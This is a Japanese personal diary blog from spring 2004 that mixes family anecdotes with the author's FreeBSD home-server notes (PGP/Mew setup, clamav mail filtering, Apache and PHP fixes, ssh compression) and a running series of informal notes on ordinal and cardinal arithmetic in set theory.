朝の四時頃に東の空を見ると同時に二個彗星が見える、ということでなんとか四時まで起きてて(三時頃眠くなって危なかった)東の空を見たのですが、おうちのベランダからだと角度が悪いらしく全然見えないのですねー。仕方がないのでパジャマのまま(^^双眼鏡を持って外に出たのですが、なかなか見つからないなーと言ってるうちに明るくなってきてしまったのです。奥様は見えたような気がするといってるのですが、本当に見えたのかどうか確信がないとのこと。むむむっ、明日の朝も見えるそうなのですが、会社があるし...。残念ながらあきらめるしかないのかな。

2004年4月24日(土)

PGP 暗号メール
当面意味がないと思うのですが、どんな案配になるのかの興味と、日本の現状を見るにそう遠くない将来本当に必須となることも考えて PGP/Mew の実験と練習です。PGP は公開暗号方式が土台になっているので、自分の公開キーをパブリックな場所に置けば、誰でも私宛のメールを暗号化可能になるわけです。まずは /usr/ports/security/pgp/ から PGP の本体をインストールしまして、次の手順で設定を行います。最初にホームディレクトリーに .pgp なるディレクトリーを作っておきます。
$ mkdir ./.pgp && chmod 700 ./.pgp

次に PGP の鍵対を作成します。
$ pgp -kg
最初に RSA のキーのサイズを聞いてきますので最強の 1024 bit を選択します。次に ID を聞かれますので自分のメールアドレスを入力します。必要があれば別の ID(例えば別のメールアドレス)とキー対を後で追加することも可能です。次にパスフレーズを聞かれますので、ばれそうにない・忘れない自信があるものを入力します。また ./.pgp 以下のファイルは絶対に他人に見られてはいけないし、無くしてしまってもいけません。その後乱数の種の計算に使用するのだと思いますが、キーボードから任意の文字列を「テキトーに」入力するように求められるのでなるべくいいかげんに入力します(結構長いです)。次のコマンドを入力して実際に登録が成功しているか確認します。
$ pgp -kvv
次に Mew 側の設定ですが、./.emacs なりに(私の場合 ./mew.el)に
(setq mew-prog-pgp "pgp")
と記述しておきます。これで準備はできたわけで相手様が公開キーで暗号化して私宛に送って下さったメールを見ようとすると、パスフレーズを聞かれ、それを正しく入力すると Mew が自動的に復元します。また相手様の公開キーを頂き Mew で暗号化して送りたい場合は、
pgp -ka 相手様の公開キーファイル
として公開キーのリストに追加して、C-c C-e で暗号化して C-c C-c で送信です。試しに上の手順で自分宛に暗号化したメールを送ると、送ったときにちゃんと暗号化され、受信した後正しいパスフレーズを入力すると読めるようになりました。
＃残念ながら親しい人で PGP キーを公開している人がいないので、
＃送信に関しては今のところ全然役に立たなかったりします(^^。
＃さらにあえて私の公開キーを使ってメールを送って下さる方も
＃いなそうなのでこちらも役に立ちそうにありません(^^;。

2004年4月23日(金)

はちあたり
二女はお天気が良いときは自転車で通学しているのですが、今日の朝学校に行くとき下り坂を運転していたら「異物」がほっぺたのあたりに当たって落ちたそうな。その時は何がぶつかったのか良く分からなかったそうですが、帰りは登り坂なので「何かが落ちていないかな～」と注意しながら運転していたら、なんとぶつかったちょうどその場所にかなり大きめの蜂が落っこちていたそうな。まあ刺されずにすんだのは二女にとって幸いだったのですが、蜂君にとってはとんだ災難だったのであります(^^。

2004年4月22日(木)

ウイルスフィルターソフトを入れてみる
例のごとくたかたにさんのまねなのですが、おうちのサーバーにもフリーなウイルス検査ソフトである clamav というもの入れてみました。たかたにさんは sendmail と連係して動作させているそうですが、私の場合 sendmail.cf 関連をいじると後で訳が分からなくなるので、procmail と clamscan の組合せで運用です。記述の仕方も全くのまねでしてなんにも考えていないのですが、ログだけは残すようにしました。
[.procmailrc]
VIRUS=$MAILDIR/virus/.
:0HB:
* ? sh -c 'clamscan --log=$HOME/clamscan.log --mbox --quiet - ;
test "$?" = 1 && exit 0; exit 1'
$VIRUS
ほんとのことを言いますと、携帯には良く知っている人からのメールしか転送しない様にしているのと(基本的に会社宛のは転送しない^^)、そもそもウイルスメールもあんまり来ないので特に困ってはいないし感染の心配もないのですが、一応「怪しいのは絶対にクリックしないで」とは言ってあるものの、子供宛にウイルス入りメールが来るとちょっと心配ということで導入したのです。まずは自分宛にウイルスを送って実験してみると、
[/usr/home/kagami/clamscan.log]
--------------------------------------
Scan started: Thu Apr 22 13:05:56 2004
/var/tmp//clamav-282e746f6f32bd2b/textportion7Qphdb: Worm.Gibe.F FOUND
-- summary --
Known viruses: 21180
Scanned directories: 1
Scanned files: 1
Infected files: 1
Data scanned: 0.11 MB
I/O buffer size: 131072 bytes
Time: 1.474 sec (0 m 1 s)
--------------------------------------
というログが残りまして、ちゃんとウイルス箱に落ちてくれるのです。肝心のパターンファイルの更新ですが、こちらも簡単で、
/usr/local/bin/freshclam -d -c 24
を rc.local とかに書いてバックグラウンドで動作させれば、一時間に一回最新のパターンを勝手に見にいってくれまして、更新が発生していた場合に実際のダウンロードを行うようです。いやはやそれにしてもこういうソフトの場合、パターンのメンテナンスが結構大変で、フリーなものでは使いものにならないのかな～、と思っていたのですが、案外まめにメンテナンスされているようで、おうちで使用するにはこれで十分な感じです。自分のお金出してウイルス対策ソフトなんていう非生産的なものを買うなんて絶対にやだしね...(^^。

2004年4月21日(水)

いっかい休み

2004年4月20日(火)

会社のデーターベース復活
実をいいますと会社のとある部署で (Apache + PHP + PostgreSQL)/Linux を使って運用していたデーターベースがあったのですが、先週あたりに原因は良く分からないのですが、
全部のデーターが消えたそうなのです(-_-)
幸い少々古いもののバックアップがありまして、それを復元して再度運用しようということになったのですが、実はこのシステムはかなり前に外注さんが作ったものでして、誰も入力以外の運用を知らなかったりしました(^^;。
ということで、私はデーターベースとか PHP のことにはとってもうといのに、担当の人と案外仲が良いということもありまして、復旧お手伝いのお声がかかってしまったのです。そうは言うものの全然知らないのでは危なくて仕方がないので、とある人に「何か良い本はないものかいな～」とお伺いをたてたところ、技術評論社の
PC UNIXユーザのための PostgreSQL完全攻略ガイド

というのがよろしいと教えて頂き、早速購入して即席勉強かつバックアップからリストアーを行おうとしたのです。ところが調べてみると、どうもデーターがなくなったと言っても実体のファイルはあるようで、下手に復元すると矛盾を含んだ状態になりそうなのと、バックアップデーター以外は失うものがない (^^; という気楽さから /usr/local/pgsql/ 以下のディレクトリを削除して PostgreSQL の再インストールからやり直しです。 Linux の場合アプリケーションのインストールがいまいち不便なのですが、とにもかくにも postmaster が動くような環境にしまして、バックアップデーターをリストアーです。実はここで認証とかデーターベース名を間違えたりして何回かはまったのですが、まあこういう状態になると気楽なもので、そういうときは「最初からやり直し」という作業を何回か行い、やっとそれらしく動作するようになったのです。
ちなみにこういう経験をすると、この日記もデーターベース化しようかな～、などという無謀な考えも浮かんでくるのですが、いやはやとっても手間がかかりそうで、さすがにしばらくは無理な気がします。
＃もちろんおうちのサーバーに PostgreSQL をインストールした
＃なんていうのは絶対に内緒です(^^。
＃あと良い本を教えて下さりどうもありがとうございます。

2004年4月19日(月)

基数の定義
[集合論雑記目次]
「選択公理」を使用しないと正式な定義は出来ないのですが、とにもかくにも基数の定義らしきものを行えるところまで来ました。基数(濃度)は無限の大きさを計る尺度を提供します。まずは簡単な定義から。
X,Y を集合とするとき f:X → Y なる上への一対一の関数が存在する場合、 X と Y の基数は等しい(濃度が等しい)と言い、
|X| = |Y|
と記述する。また X から Y への単射(一対一の関数)が存在する場合、
|X| $\leq$ |Y|
と記述し、X の基数(濃度)は Y の基数(濃度)を越えないと言う。また |X| $\leq$ |Y| で |X| ≠ |Y| のとき
|X| < |Y|
と記述し X の基数(濃度)は Y の基数(濃度)より小さいと言います。
ここで上の「定義」は集合間の「関係」を記述しただけであり、|X| という対象(集合)はまだ定義されていないことに注意が必要です。
[カントール・ベルンシュタインの定理]
|X| $\leq$ |Y| かつ |Y| $\leq$ |X| ならば |X| = |Y|
X⊆Y⊆Z とし |X| = |Z| から |Y| = |Z| を導けば良い。 f: Z → X を一対一上への写像とし、
Z₀=Z Z_n+1 = f(Z_n)
Y₀=Y Y_n+1 = f(Y_n)
として、
U = ∪_n∈ω(Z_n-Y_n)
V = Z - U
とおき U 上で g(x)=f(x), V 上で g(x)=x なる関数を考えると g は Z から Y への一対一上への関数となります。
[カントールの定理]
|X| < |P(X)|
|X| $\leq$ |P(X)| は自明(x に {x} を対応させる)なので X から P(X) への上への関数 f:X→P(X) が存在すると仮定し矛盾を導く。実際 R={x∈X | NOT(x∈f(x))} とおくと f が上への関数なので f(r)=R なる r∈X が存在し、r∈R, NOT(r∈R) いずれも矛盾を生ずる。
ここで基数に関する基本演算を定義します。
X と Y を集合とするとき、共通部分をもたない場合 X,Y と基数が等しく、共通部分が空である U,V をとり |X| + |Y| を |U ∪ V| で定義します。この定義は U,V のとりかたによらないことが容易に分かります。
|X||Y| を |X x Y| で定義します。
|X|^|Y| を |X^Y| で定義します。ここで X^Y は Y から X への関数全体からなる集合です。
次の性質は一対一上への関数に関する性質から容易に分かります。
|X| + |Y| = |Y| + |X|
(|X| + |Y|) + |Z| = |X| + (|Y| + |Z|)
|X||Y| = |Y||X|
|X|(|Y| + |Z|) = |X||Y| + |X||Z|
(|X||Y|)|Z| = |X|(|Y||Z|)
|X|^|Y|+|Z| = |X|^|Y| |X|^|Z|
(|X|^|Y|)^|Z| = |X|^|Y||Z|
順序数の基数は集合として定義可能です。
[定義]
順序数 κ が次の条件を条件を満たすとき基数(濃度)と呼ぶ
任意の順序数 β < κ に対して |β| ≠ |κ|
明らかに基数は極限数となります。
[定理]
順序数 γ に対して基数 κ がただ一つ存在して |γ| = |κ|
X = {β $\leq$ γ| |β|=|γ|} として κ を X の最小元とする。もし κ が基数でないとすると α < κ が存在して |α| = |κ| となり κ の最小性に矛盾する。一意性は基数 λ に対し |λ| = |κ| が成立すると仮定し、例えば λ < κ とするとやはり κ の最小性に反する。
[系]
任意の整列集合 X に対して基数 κ が唯一つ存在して |X| = |κ|
上記定理と系により次の定義が可能となります。
[定義]
X を整列集合とするとき |X| = |κ| を満たすただ一つの基数 κ を X の基数(濃度)と呼び、ここから正式に |X| と表記する。特に基数 κ に対し |κ| = κ
後述の「選択公理」を仮定すると「任意の集合は整列可能」となり、任意の集合に対しその基数が定義可能となります。基数は「構造を考えない同型」を表現するものにもかかわらず、順序数(順序構造)により定義可能になるのもちょっと不思議な感じがします。次回は ℵ(アレフ)等の話題。

2004年4月18日(日)

モカちゃん雑草を食べる
今日はモカの藤沢市科学少年団の日でして、お題目は「雑草を食べよう」ということで、
セリ(味噌汁)
シオデ(味噌汁)
ドクダミ(以下てんぷら)
カラスノエンドウ
ユキノシタ
ツバキの花
タンポポの花
レンゲ
ノカンゾウ
を食べてきたそうな。帰ってきてから話を聞くとなかなか美味だったそうで、うーむ私も食べてみたかったな。朝寝坊していっしょに行けなかったのは大失敗だったのです(^^。

2004年4月17日(土)

何の役に立つの
「まだ表面的にしか分からないけど、集合論は無限の認識に関するとても深遠で美しい理論のようだ」という意味のことをしゃべっていたら、「それは何の役に立つのですか」とのたまう人がいたのです。これだけ数学や科学が発達した現代において、さらにそれなりの科学的知識がある人からこのような陳腐な質問されたのはかなり意外だったのですが、こういう間違えた考えを持つ人に詳しく説明しても無駄なので、ひとこと、
集合論はとても美しい理論なのです。それだけではだめなのですか。
と言っておきましたが、こちらの意図は全然は通じていないようでした。それにしても、「役に立つかどうか」以外に物事の判断基準がないとすると、こういう人たちは音楽を聴いたり、絵画を鑑賞したりすることもないのだろうか。いずれにしても不思議な考え方をする人がいるものだと再認識したのは事実です。
＃「残念ながら^^」現代集合論は数学の他の分野に対して
＃非常に有用な結果を供給しているということは事実なのです。

2004年4月16日(金)

順序数の基本演算
[集合論雑記目次]
やっと順序数の加法・乗法・巾乗等の初等的な演算を定義する準備が整いました。超限帰納法による関数の定義により定義方法は直裁的です。
[順序数の加法]
α + 0 = α
α + (β + 1) = (α + β) + 1
α + β = sup_γ<β(α + γ) β が 0 でない極限数のとき
[順序数の乗法]
α・0 = 0
α・(β + 1) = (α・β) + α
α・ β = sup_γ<β(α・γ) β が 0 でない極限数のとき
[順序数の巾乗]
α⁰ = 1
α^{(β + 1)} =α^β・α
α^β = sup_γ<β(α^γ) β が 0 でない極限数のとき
超限帰納法による関数の定義(これは「置換公理」が大活躍するのですが)により、例えば ω + ω = sup_n<ω(ω + n) = ∪_{n は自然数}(ω + n) と正式に定義することが可能となりました。注意すべきことは加法に関しても乗法に関しても「交換法則」が成立しないことです。例えば n を 0 でない有限順序数(自然数)とするとき、
n + ω = sup_m<ω(n + m) = ω
となり明らかに ω + n とは異ります。乗法に関しても同様です。もう一つの注意としては、後述の「基数」に関するカントールの定理を知っていると勘違いしやすいのですが、基数演算と異なり、
順序数としての演算による 2^ω の基数は可算であり連続体の基数ではありません。ω^ω 等に関しても同様です。一般に ω から開始して上記演算を有限回行った結果は可算となります。
それにもかかわらず次の性質が成り立ちます。
(α + β) + γ = α + (β + γ)
α $\leq$ β のとき α + γ = β なる γ がただ一つ存在する
(α・β)・γ = α・(β・γ)
α・(β + γ) = α・β + α・γ
α^{β + γ} = α^β・α^γ
上記証明は容易です。「整除性」が成立することも分かります。
α,β を順序数として α≠0 とするとき
β = α・γ + δ なる γ と δ<α が一意に存在する。
次回からは選択公理と濃度の話題を混在させながら展開する予定。

2004年4月15日(木)

おうちの ping 応答復活
こちらの情報によりますと、httpd.conf で仮想ホストを指定するすることにより、 HTTP アクセス状況を異なるログファイルに振り分けることが出来るそうな。最近異様に長い意味不明な文字列リクエストが増えていまして、httpd-access.log にごみが多くて困っていたので、これは便利そうです。詳しい設定はたかたにさんのところに記述されていますのでここでは書きませんが、ふむふむたしかに名前でアクセスしてこないアクセスは全部 httpd-iranai.log(^^ に入るようになりました。というわけで、今回の巨大文字列リクエストには直接関係はないのですが、 ping に応答すると変なリクエストを送ってくるパターンもあって、これもログファイルを「汚す」ので今まで ping に反応するのをやめていたのですが、今日から復活なのです。
会社の USB シリアルコンバーター
昔 X24 用に I/O DATA のUSB シリアルコンバーターを購入して今も便利に使っているのですが、今日は会社の Windows デスクトップ PC で使用するためのコンバーターを購入です(シリアルポートが壊れている^^)。Windows で使用するのと、さらには会社のお金なので、あんまり調査する必要もなく一番安いのを購入です。品名は Elecom の UC-SGT というものでして、お値段は 3,500円なり。うわさによりますと Elecom という会社はソフトウエア─に関してとっても問題があるらしいのですが、この前買ったキーボードとか、今回の変換器とか「ソフトウエア─が入っていない」製品で使い捨てと思えば安いことは安いですな。まあいつまで壊れないかに関しては大いなる疑問があるのですが(^^。
＃試しに X24/FreeBSD に挿してみたら
＃uhub1: port 1 reset failed と表示され動作しませんでした。

2004年4月14日(水)

二女検定合格
二女の高校は完全単位制でして、授業がないときはぶらぶらしていたり、遅く行ったり早く帰ってきたりするのも自由なのですが、学校指定の検定に合格すると二単位もらえるというおいしい制度もあったりします。ということで、一年生のときに「数学検定」というものを受験したのですが、私に似て(^^あんまり数学は得意でないので、ちょっと危ないかな～と話していたのですが、うれしいことに本日合格通知が来たのです。二単位というとたいしたことなさそうですが、「週一回 1時間30 分の授業を半年」分の価値がありまして、とってもとっても効率が良い単位取得だったのです。
＃ちなみに高校の先生もさるもの。毎日必修単位を配分して、
＃お休みの日は作れないようになっていたりします(^^。

2004年4月13日(火)

IP アドレス表記ではまる
実はちょっとした用途があり、大量のリモートホストに対して定期的に TCP 接続を行い、自動でコマンドを発呼する必要が発生しまして、ホスト一覧ということでこんな /etc/hosts 形式のファイルをもらったのです。
192.168.001.011 HOST001
192.168.001.032 HOST002
192.168.001.065 HOST003
...
ところが実験ということで telnet で接続を試みると、
全然応答がありません(-_-)
あれれれっ、他の人がやってたときはうまく行ってたのに、どうして私ががやるとだめなんだろう。もしかして人を見ているのか(^^;。ということで tcpdump で fxp0 をモニターすると、最初の例では 192.168.1.9 に接続しようとしているのですねー。むむむっ、どうしてだろう、と一瞬考えたのですが「そういえば BSD では IPv4 アドレスドット表現で 0 で始まる部分は 8進数と解釈される」ということに気が付きまして、一件落着したのですが、いやはやもともとの環境の Linux では 10進表現と解釈されるのですねー。全然知りませんでした。いずれにしてもこれではまった人は結構多いのではないかと...(^^;。個人的には Linux の慣習より BSD の慣習の方が好きな場合が多いのですが、C 言語じゃあるまいし、さすがに「0 で始まるから 8 進数」というのはあんまり良くないと思ったりします。

2004年4月12日(月)

ISA ボードではまる
8 年くらい前に某会社が作った ISA HDLC ボードがありまして、とある用途で全国に数百枚ばらまいてあるのですが、最近古い PC が寿命を向かえつつあり、さらに OS として使用している FreeBSD もとっても古いので、今後のことを考え新規の PC と OS で運用しなければいけないということになりまして、ちゃんと動くかどうかテストをしたのです。まずは FreeBSD のドライバーをちょこちょこ書き直し 4.9 対応にして、通信テストを行ったのですが、
受信データ─の MSB がほとんど 0xFF なのです(-_-)
あれれれっ、古いマシンではちゃんと動いていたのにおかしいな～、ということで私はオシロとかを見てもいまいち分からないし、そもそもプローブを正しくあてることが出来ない (てゆーか壊す^^) 等の事情がありまして、ハードウエアー専門の人に調査を依頼したのです。で、いろいろ調べて分かったのですが、要するに「自分が 16bit アクセスを要求している」という信号線のアサートが遅れていて、古い PC だとなんとかなっていたものが、最新のチップセットだと受理されない状態のようなのです。それにしても、このくらい規格書をみればまずそうなのはすぐに分かりそうなものですが、ソフトウエアーにしろハードウエアーにしろ「動いてしまったからいいや」という無責任な作り方が多いのにはいまさらながら驚きます。

2004年4月11日(日)

整列順序と順序数・超限帰納法による関数の定義
[集合論雑記目次]
順序数は整列集合を「代表する」ものと考えられます。
[定理]
X を整列集合とするとき、順序数 α と順序同型 X → α が一意に存在する
整列集合の基本性質により一意性は明白。存在に関しては A={a∈X| X[a] はある順序数 α と同型} なる集合を考え、置換公理により a∈A に対応する順序数 α 全体からなる集合をθ とすると θ は順序数で a と α を対応させることにより A と θ は順序同型であることが容易に示すことができます。また A は X に一致するか X の始片であることも容易に分かります。ここでもし a∈X-A なる最小元が存在すると、X[a] と θ は同型となり a∈A となり矛盾するので X=A。
この定理により整列集合の「順序型」という概念、即ちそれと同型な順序数を定義することが可能となります。また後で分かるように「選択公理」を仮定すると「任意の集合は整列可能」となるので、この場合は任意の集合に対してその順序型を定義することが可能となります。
[定理・超限帰納法による関数の定義]
G を関数関係により定義される関数(今後単に関数と呼びます)とするとき、関数 f が存在して、任意の順序数 α に対して、
f(α) = G(f|α)
を満たすものが存在する。ここで f|α は f の定義域を α に制限したもの。
G や f が「定義される」ところの「クラス」は集合ではないので少々面倒なのですが、証明の概略としては次の通りです。
順序数 θ に対して θ+1 からの写像 f_θ で次の性質を満たすものが一意に存在します(像は置換公理により集合)。
η < θ + 1 に対して f_θ(η) = G(f_θ|η)
証明は超限帰納法により行われます。 λ<θ に対して f_λ が定義されていたと仮定して、t_θ を∪_μ<θf_μ とし、 f_θ = t_θ∪(θ,G(t_θ)) とおくと f_θ が望むものであることが分かります。また η<θ に対して f_η = f_θ|η であることも分かるので、非公式な言葉ですが f_θ を「全順序数に延長した関数関係」を考えれば証明終了です。
実際には超限帰納法による関数の定義は、次の形式で使う方が便利な場合が多いのです。
U,V,W を三つの関数関係とするとき次の条件を満たす関数関係 f がただ一つ存在する。
(i) f(0) = U(0)
(ii) f(α+1) = V(f(α))
(iii) f(α) = W(f|α) α が 0 でない極限数の場合

証明は容易です。

2004年4月10日(土)

桃のお花見
今日は浩子さんファンの集まりで、山梨県一宮町の「いちのみや桃の里花まつり」に行ってきたのです。朝の 6時40分頃家を出て、8時30分新宿発甲府行きの高速バスに乗って甲斐一宮という(高速道路上の)停留所に向かったのですが、相模湖あたりまで大渋滞ありて 10 時半頃に到着する予定が 11時半頃になってしまいました。ただし停留所からは現地への道は分かりやすく、めずらしく迷わずに到着出来たのです。M さん色々教えて頂きありがとうございます。
写真をご覧になられればお分かりのように、桃の花は丁度見頃でして、さらに天気は快晴、ということで理想的なお花見日よりだったのですが、なんと気温が 24度もあり直射日光の影響もありとっても暑かったのです(^^。延々 5時間以上食べたりコンサートやその他もろもろの話をしてとても楽しかったのですが、17時に帰りのバスを予約してあったので、失礼ながら先に帰らせていただきました。

ところで帰りのバス停に迷わずに行けたのは良かったのですが、何を血迷ったか、来たときに降りた方の停留所に行ってしまったのです。幸い、「もしかするとここから乗ると甲府に着いてしまうのではないか(^^;」と気が付きまして、あわてて高速道路の上の橋を渡って反対側のバス停に行ったのですが、いやはやいつもながらまぬけなことをするものですな(^^。新宿から小田急線に乗り 20時40分頃帰宅。

2004年4月9日(金)

Apache のアップグレードではまる
突然なのですが、ずーっとおうちのサーバーの apache をアップグレードしていなかったのに気が付きまして、セキュリティー関連の問題もあるかも知れないので、お昼休みにアップグレードすることにしたのです。まずは X24 で実験。
# /usr/local/sbin/portupgrade apache13...
よしよし綺麗にバージョンアップ出来た。ということで ssh でリモートログインしているおうちのサーバーでも同じコマンドを実行したのです。ところが ports の DB に矛盾があるとかいうメッセージが出て全然先に進まないのですね─。そういえばおうちのサーバーは二年半前位に購入して、最初のうちはあんまり ports を使わないで、適当に tarball を展開して手作業でインストールしたプログラムが沢山あり、さらに悪いことに手作業でディレクトリーごと消去したプログラム環境などもあり、もう収拾がつかないくらいぐちゃぐちゃな状態なのです(^^。
仕方がないので、apache を動かしながら /usr/ports/www/apache13 から直接インストールを始めたのですが、ここでさらなる悲劇が待っていたのです(^^。
- コンパイル中に依存関係の libexpat をインストールしにゆき「すでに存在する」ということでエラー。これは libexpat を pkg_delete して解決。
- apache は見掛け上導入成功。
- 古い apache を殺して、新しいのを起動しようとしたら libphp4.so が依存しているlibexpat.so.4 がないと言って起動しない。うわー大変だ～。サーバー停止になってしまったー(^^;。
- /usr/local/lib をながめると libexpat.so.5 というものは存在したので、応急処置として得意の...、
  # ln -fs libexpat.so.5 libexpat.so.4
  いやはやしょっちゅうこんなことやってるから、パッケージの依存に矛盾が蓄積することは分かっているのですが...。
- libexpat.so.5 を見に行くように /usr/ports/lang/php4 を再インストールしようとしたが、メニューの選択を間違えて MySQL もインストールされそうになった(^^。
という案配ではまりにはまって、なんとかお昼休みの終り頃には「正しい」環境で動作するようになったのですが、Windows と違って長期間再インストールしなくても遅くなったり不安定になったりはしないものの、ports の矛盾をかかえていると不便で仕方がないので、一度 FreeBSD を再インストールして綺麗な環境にしたほうが良いかもしれません。
＃お昼ごはんを食べ損なってしまいました(^^。

2004年4月8日(木)

池袋さん
昨日二女と話をしていて、とある人の話題になったのですが、二女がなかなか名前を思い出せないらしく、「えーっと、え～～っと、何ていう名前だったかな～。うーん思い出せない。もしかすると池袋さんだったかな～」というのです。奧さまと私が、「えーっ、池袋さんなんて人ほんとにいるの。そんな名前の人聞いたことないけど」とつっこんだところ、しばらく考えて、
そうだ思い出した「渋谷さん」(^^
ということだったのです。なんか連想方式が面白く、奧さまと私で大笑いしてしまったのですが、その後は「新宿さん」とか「東京さん」とかいう話になりまして、都道府県の名前で人の名字になっていなそうなものを列挙する遊びが始まったのです。
＃東北地方だと「岩手さん」「青森さん」という人はあんまり
＃いないと思うのですが...。

2004年4月7日(水)

軽井沢出張
日帰り出張の予定だったのですが、東京駅についてもうすぐ新幹線に乗ろうというときに、携帯に電話ありて、
今日の打ち合わせは東京で行うことになりました(^^;
ということで新幹線の切符をキャンセルして、会社に戻るはめになりました。会社から東京のお客さんのところに行く時間の方が、新幹線に乗っている時間より長かったりします(^^。
＃携帯を忘れて軽井沢までいってしまったほうが楽だったかも～(^^;
ぶたどん
というわけで、今日は一日中移動してたような感じなのですが、おうちに帰ったらなんと「吉野家のキムチ豚丼～お持ち帰り」が置いてあったのです。実はこの前「こんどぶたどん食べに行こうかな～」と言ってたら、奧さまのお母様が買ってきて下さったという、まことにありがたいもので、牛丼に比べるとちょっと淡白ですが、キムチと豚のバランス宜しく、なかなか良き味だったのであります。

＃中身の写真も撮ったのですが全部ピンボケ。
＃撮り直そうと思ったときはすでにお腹の中だったのです(^^。

2004年4月6日(火)

長女の入学式
今日は長女の入学式なのですが、なんと最近の大学は「なるべく保護者の方もご参列して下さい」ということで、さらには入学式の後、保護者向けのオリエンテーションもあったそうな。というわけで奧さまも入学式に行ってきたのですが、いやはやなんといいますか時代の変化を感じますな。
ちなみに私が大学に入った年は、大学紛争がまさに終焉を向かえようとしていた頃でして、入学式自体がありませんでした。また当時の風潮として「卒業式に出るのはかっこ悪い」という雰囲気もあったので、卒業式にも出なかったりしました(^^。

2004年4月5日(月)

新学期
神奈川県の公立小中高は今日から新学期でして、夜更かしゲームびたりの二女とモカも今日から早起きで学校に行ったようです。まあ新学期といってもクラス編成と担任が代るだけで、特別変化があるわけではないのですが、今年も一年間事故なく無事に過してもらいたいものです。ちなみに長女は明日が入学式。

2004年4月4日(日)

集合論雑記ロードマップ
[集合論雑記目次]
遅々として進まない集合論雑記ですが、一応今後のロードマップなのです。気まぐれなのて途中で変更があるかも知れませんし、挫折する可能性も強かったりします。一通り表面的に勉強が完了した部分としては、
- 順序数の基本性質
- 選択公理と濃度(基数)の基本性質
- 正則基数と弱到達不可能基数、強到達不可能基数
- フィルターとイデアル。[0,1]-測度、二値測度
- 可測基数
- 整順性と基礎の公理
- その他
というあたりでして、今後これらの内容のさわりについて書いていこうと思っているのですが、もし上記の部分を書き終えることが出来たら、もう少し進んだ内容で、
- ゲーデルの L
- コーエンの強制
- 巨大基数に関する種々の話題
あたりのことについて書いてみたいと考えているのです。ただしこの部分はこれから勉強する必要があったりします(^^。

2004年4月3日(土)

極悪 yahooBB 勧誘
本日ドラムの練習に音楽教室に行ったのですが、先生のところに yahooBB の下請会社から勧誘電話があったとのことなのです。先生のおうちにはすでに某大手通信事業者関連の ADSL サービスに加入しているので、「間に合ってます」と何度も言ったそうなのですが、「それでは資料だけでも送らせて下さい」としつこいのなんのって、とうとう根負して「それでは資料だけなら」ということで、ご自宅の住所を教えたそうなのです。ところが数日して送られてきた書類を見てびっくり。なんと、
NTT に ADSL 回線設置を申請中です(-_-)
とのことなのです。いやはや悪いうわさは聞いていますし、おうちでも子供がうかつだったとはいえ、被害にあったことがないわけではないのですが、勝手に回線申請まで行ってしまうとは厚かましいというかなんというか...まことに極悪ですな。というわけで、実際に勧誘を行った下請会社に電話したそうですが、誰もでないので、結局 yahooBB 本体に苦情を言ったのですが、あやまるでもなく「それでは申請を取りやめにして、予定していたモデム等の発送も取りやめます」だけだったらしいのです。下請の会社も一人勧誘すればいくらお金が入るのかは分からないのですが、こんなことをやっているのでは大量の個人情報が漏れたのも当然の成り行きですな。

2004年4月2日(金)

激とろおうちのサーバーアクセス
ssh トンネルの圧縮機能で、会社からおうち等へのアクセスが調子良くなったので、w3m の画像なしモードでおうちの「全件表示」をアクセスしてみたのですが、実効速度 50KByte/sec と全然速度がでないのです。いやいや上りの回線が 100KByte/sec 程度でテキストだけのデータなので 300KByte/sec 程度出るはずなのにこれは変だ、ということで vmstat を実行してみるとなんとびっくり、
```
procs   memory    page               disks     faults      cpu
r b w   avm   fre flt re pi po fr sr ad0 md0   in   sy  cs   us sy id
3 1 0 57832 46260  27  0  0  0  0  0   1   0  288 31331 8907 63 37  0
```
ということなのです(^^;。いやはや一秒間にシステムコールが 3万回以上発生してコンテキスト切り替えが 8000回以上ではそりゃ速度が出るわけがありません。ダウンロード中の CPU の使用率を見ると squid が 15% 位でと ssh が 25% 位、ということでそれなりに大きいのですが、やはり最大の問題はシステムコールの多さなのです。試しに通常のファイルを置いてアクセスするとまともな速度が出るので、これは明らかに日記全部を出力する PHP の問題と推測されるのです。それにしてもやってることの本質は単に日記を fgets して標準出力に書いているだけなのにどうしてだろう、ということで /usr/local/etc/php.ini を覗いてみたらなんと、
output_buffering = Off (^^;
おやおやこれは標準出力に 1 バイトずつ書いていたのですね。そりゃ遅くなりますな。というわけで出力バッファサイズを 16384 程度にしたところまだちょっと不満が残る速度なのですが、なんとか我慢できる速度が出るようになったのです。いやはや入出力のバッファリングなど同然デフォルトで On になっていると思っていたのですが、ろくに勉強しないでそれなりのものを使うと痛い目に合いますな(^^。
＃まだちょっと I/O が多すぎる気がするのですが、
＃入力の方は大丈夫なのだろうか。謎ですな。

2004年4月1日(木)

快速 ssh トンネルプロキシー
先日おうちの squid と持ち歩き X24 squid プロキシー間通信を ssh トンネル経由に変更したのですが、ssh に圧縮オプションが存在するのに気が付きまして、試しに設定してみました。
[/usr/home/kagami/.ssh/config]
Compression yes
コマンドラインで -C オプションを付けても良いのですが、面倒なのでデフォルトとして設定です。試しに通常のファイル転送で
```
$ scp evariste.jp:/kernel /tmp/kernel  # おうちから X24(会社)へ転送
```
を実行すると、今まで 100KByte/sec 程度だったのが 200KByte/sec 程度の速度になりまして、kernel は典型的なバイナリーファイルなので、通常のテキストファイルですと 300KByte/sec 以上の転送速度が期待されます。さらにうまいこと、おうちの ADSL の実効伝送速度は下りが 300KByte/sec 程度、上りが 100KByte/sec 程度なので、自宅プロキシーを使用した場合にはインターネットへデータを取りに行く部分は下りを使用して、プロキシーから X24 への転送は上りを使用するので、上りと下りのバランスが良く、かなりの体感速度上昇効果が見込まれるのです。
ということでさっそく色々試してみたのですが、残念ながらちょっと速くなったかな～、と思う程度で体感的にはそんなに変化がありません。実際にはテキストの部分に関しては今までの速度で十分ですし、画像に関しては圧縮の効果がないので、そりゃあたりまえなのですし、そもそも今まで体感的に遅くて困ったこともなかったのです(^^。
それよりプロキシーとは関係がないのですが、意外と効果があったのは、
- 特に添付ファイル付きのメールの取り込みが激速になった。添付ファイルの mime encode は非常にエントロピーが低いのでこれは当然です。
- おうちサーバーの emacs の X11-forwarding モードでの使用が快適になった。
- おうちとのファイル転送が(上りも下りも)快適になった。
- おうちの CVS へのコミット等が快適になった。
あたりでして、いやはやどうして今まで気が付かなかったのか、まったくうかつだったのであります(^^。それより HTTP 経由でインターネットから大きいファイルをダウンロードする場合、今まではいちいちプロキシーを解除していたのですが、今後はその必要がなくなる場合が多い、という部分が一番便利になるような気がします。
＃ちなみに @FreeD 使用時は @FreeD 自体が圧縮を行っているので、
＃全く効果がないのはもちろんです。

2004年3月31日(水)

激安キーボード
